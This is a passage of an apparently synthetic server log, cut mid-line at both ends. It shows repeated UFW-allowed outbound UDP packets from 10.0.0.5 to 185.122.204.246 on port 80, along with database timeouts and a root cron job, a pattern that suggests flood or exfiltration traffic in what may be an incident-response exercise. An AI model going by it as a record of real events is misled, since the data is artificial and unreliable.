DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=43898 DPT=80 LEN=1480 +Jul 15 10:02:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=38719 DPT=80 LEN=1480 +Jul 15 10:02:55 webapp[5432]: ERROR: Database connection timeout while handling request for /api/data +Jul 15 10:02:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=31965 DPT=80 LEN=1480 +Jul 15 10:02:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=50259 DPT=80 LEN=1480 +Jul 15 10:02:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=10810 DPT=80 LEN=1480 +Jul 15 10:02:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=29709 DPT=80 LEN=1480 +Jul 15 10:02:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=38283 DPT=80 LEN=1480 +Jul 15 10:02:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=55722 DPT=80 LEN=1480 +Jul 15 10:03:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=20041 DPT=80 LEN=1480 +Jul 15 10:03:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=22191 DPT=80 LEN=1480 +Jul 15 10:03:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=58720 DPT=80 LEN=1480 +Jul 15 10:03:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=46518 DPT=80 LEN=1480 +Jul 15 10:03:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=31472 DPT=80 LEN=1480 +Jul 15 10:03:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=51630 DPT=80 LEN=1480 +Jul 15 10:03:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=23885 DPT=80 LEN=1480 +Jul 15 10:03:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=20676 DPT=80 LEN=1480 +Jul 15 10:03:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=58858 DPT=80 LEN=1480 +Jul 15 10:03:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=25341 DPT=80 LEN=1480 +Jul 15 10:03:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=14346 DPT=80 LEN=1480 +Jul 15 10:03:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=46987 DPT=80 LEN=1480 +Jul 15 10:03:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=51876 DPT=80 LEN=1480 +Jul 15 10:03:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=51000 DPT=80 LEN=1480 +Jul 15 10:03:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=60043 DPT=80 LEN=1480 +Jul 15 10:03:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=30140 DPT=80 LEN=1480 +Jul 15 10:03:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=26751 DPT=80 LEN=1480 +Jul 15 10:03:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=49699 DPT=80 LEN=1480 +Jul 15 10:03:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=50568 DPT=80 LEN=1480 +Jul 15 10:03:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=55089 DPT=80 LEN=1480 +Jul 15 10:03:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=19332 DPT=80 LEN=1480 +Jul 15 10:03:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=12903 DPT=80 LEN=1480 +Jul 15 10:03:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=26362 DPT=80 LEN=1480 +Jul 15 10:03:20 CRON[1840]: (root) CMD ( /usr/lib/snapd/snapd --review) +Jul 15 10:03:20 webapp[5432]: ERROR: Database connection timeout while handling request for /api/data +Jul 15 10:03:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=41946 DPT=80 LEN=1480 +Jul 15 10:03:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=25888 DPT=80 LEN=1480 +Jul 15 10:03:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=60638 DPT=80 LEN=1480 +Jul 15 10:03:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=13126 DPT=80 LEN=1480 +Jul 15 10:03:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=37827 DPT=80 LEN=1480 +Jul 15 10:03:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=32499 DPT=80 LEN=1480 +Jul 15 10:03:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=51942 DPT=80 LEN=1480 +Jul 15 10:03:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=29573 DPT=80 LEN=1480 +Jul 15 10:03:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=61645 DPT=80 LEN=1480 +Jul 15 10:03:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=54715 DPT=80 LEN=1480 +Jul 15 10:03:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=23595 DPT=80 LEN=1480 +Jul 15 10:03:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=52500 DPT=80 LEN=1480 +Jul 15 10:03:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=64214 DPT=80 LEN=1480 +Jul 15 10:03:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=47369 DPT=80 LEN=1480 +Jul 15 10:03:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=20834 DPT=80 LEN=1480 +Jul 15 10:03:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=33992 DPT=80 LEN=1480 +Jul 15 10:03:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=56167 DPT=80 LEN=1480 +Jul 15 10:03:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=55508 DPT=80 LEN=1480 +Jul 15 10:03:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=23133 DPT=80 LEN=1480 +Jul 15 10:03:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=37796 DPT=80 LEN=1480 +Jul 15 10:03:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=56237 DPT=80 LEN=1480 +Jul 15 10:03:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=22620 DPT=80 LEN=1480 +Jul 15 10:03:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=50940 DPT=80 LEN=1480 +Jul 15 10:03:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=39721 DPT=80 LEN=1480 +Jul 15 10:03:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=46699 DPT=80 LEN=1480 +Jul 15 10:03:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=43524 DPT=80 LEN=1480 +Jul 15 10:03:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=52821 DPT=80 LEN=1480 +Jul 15 10:03:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=53428 DPT=80 LEN=1480 +Jul 15 10:03:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=62661 DPT=80 LEN=1480 +Jul 15 10:03:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=32846 DPT=80 LEN=1480 +Jul 15 10:03:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=22296 DPT=80 LEN=1480 +Jul 15 10:03:45 systemd[1]: Started Session 145 of user root. +Jul 15 10:03:45 webapp[5432]: ERROR: Database connection timeout while handling request for /api/data +Jul 15 10:03:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=42790 DPT=80 LEN=1480 +Jul 15 10:03:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=26289 DPT=80 LEN=1480 +Jul 15 10:03:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=27320 DPT=80 LEN=1480 +Jul 15 10:03:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=10166 DPT=80 LEN=1480 +Jul 15 10:03:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=53620 DPT=80 LEN=1480 +Jul 15 10:03:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=47535 DPT=80 LEN=1480 +Jul 15 10:03:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=26186 DPT=80 LEN=1480 +Jul 15 10:03:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=20709 DPT=80 LEN=1480 +Jul 15 10:03:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=46053 DPT=80 LEN=1480 +Jul 15 10:03:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=56583 DPT=80 LEN=1480 +Jul 15 10:03:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=46530 DPT=80 LEN=1480 +Jul 15 10:03:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=13098 DPT=80 LEN=1480 +Jul 15 10:03:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=25943 DPT=80 LEN=1480 +Jul 15 10:03:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=23849 DPT=80 LEN=1480 +Jul 15 10:03:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=39270 DPT=80 LEN=1480 +Jul 15 10:04:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=59109 DPT=80 LEN=1480 +Jul 15 10:04:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=55425 DPT=80 LEN=1480 +Jul 15 10:04:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=37970 DPT=80 LEN=1480 +Jul 15 10:04:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=18847 DPT=80 LEN=1480 +Jul 15 10:04:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=57504 DPT=80 LEN=1480 +Jul 15 10:04:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=63176 DPT=80 LEN=1480 +Jul 15 10:04:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=46776 DPT=80 LEN=1480 +Jul 15 10:04:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=33124 DPT=80 LEN=1480 +Jul 15 10:04:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=29377 DPT=80 LEN=1480 +Jul 15 10:04:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=64027 DPT=80 LEN=1480 +Jul 15 10:04:10 CRON[1850]: (root) CMD ( /usr/lib/snapd/snapd --review) +Jul 15 10:04:10 webapp[5432]: ERROR: Database connection timeout while handling request for /api/data +Jul 15 10:04:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=28666 DPT=80 LEN=1480 +Jul 15 10:04:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=41405 DPT=80 LEN=1480 +Jul 15 10:04:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=52614 DPT=80 LEN=1480 +Jul 15 10:04:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=30474 DPT=80 LEN=1480 +Jul 15 10:04:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=27206 DPT=80 LEN=1480 +Jul 15 10:04:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=35689 DPT=80 LEN=1480 +Jul 15 10:04:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=22058 DPT=80 LEN=1480 +Jul 15 10:04:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=16092 DPT=80 LEN=1480 +Jul 15 10:04:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=37116 DPT=80 LEN=1480 +Jul 15 10:04:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=37324 DPT=80 LEN=1480 +Jul 15 10:04:20 webapp[5432]: 192.168.1.56 - - [15/Jul/2025:10:04:20 ] "GET /health" 200 12 +Jul 15 10:04:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=49972 DPT=80 LEN=1480 +Jul 15 10:04:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=38833 DPT=80 LEN=1480 +Jul 15 10:04:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=17094 DPT=80 LEN=1480 +Jul 15 10:04:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=20802 DPT=80 LEN=1480 +Jul 15 10:04:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=52489 DPT=80 LEN=1480 +Jul 15 10:04:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=46802 DPT=80 LEN=1480 +Jul 15 10:04:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=36037 DPT=80 LEN=1480 +Jul 15 10:04:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=17707 DPT=80 LEN=1480 +Jul 15 10:04:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=48869 DPT=80 LEN=1480 +Jul 15 10:04:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=43855 DPT=80 LEN=1480 +Jul 15 10:04:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=43546 DPT=80 LEN=1480 +Jul 15 10:04:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=58162 DPT=80 LEN=1480 +Jul 15 10:04:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=30001 DPT=80 LEN=1480 +Jul 15 10:04:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=63547 DPT=80 LEN=1480 +Jul 15 10:04:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=33196 DPT=80 LEN=1480 +Jul 15 10:04:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=35860 DPT=80 LEN=1480 +Jul 15 10:04:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=16913 DPT=80 LEN=1480 +Jul 15 10:04:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=24922 DPT=80 LEN=1480 +Jul 15 10:04:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=25297 DPT=80 LEN=1480 +Jul 15 10:04:35 webapp[5432]: ERROR: Database connection timeout while handling request for /api/data +Jul 15 10:04:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=40706 DPT=80 LEN=1480 +Jul 15 10:04:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=27262 DPT=80 LEN=1480 +Jul 15 10:04:35 kernel: [UFW 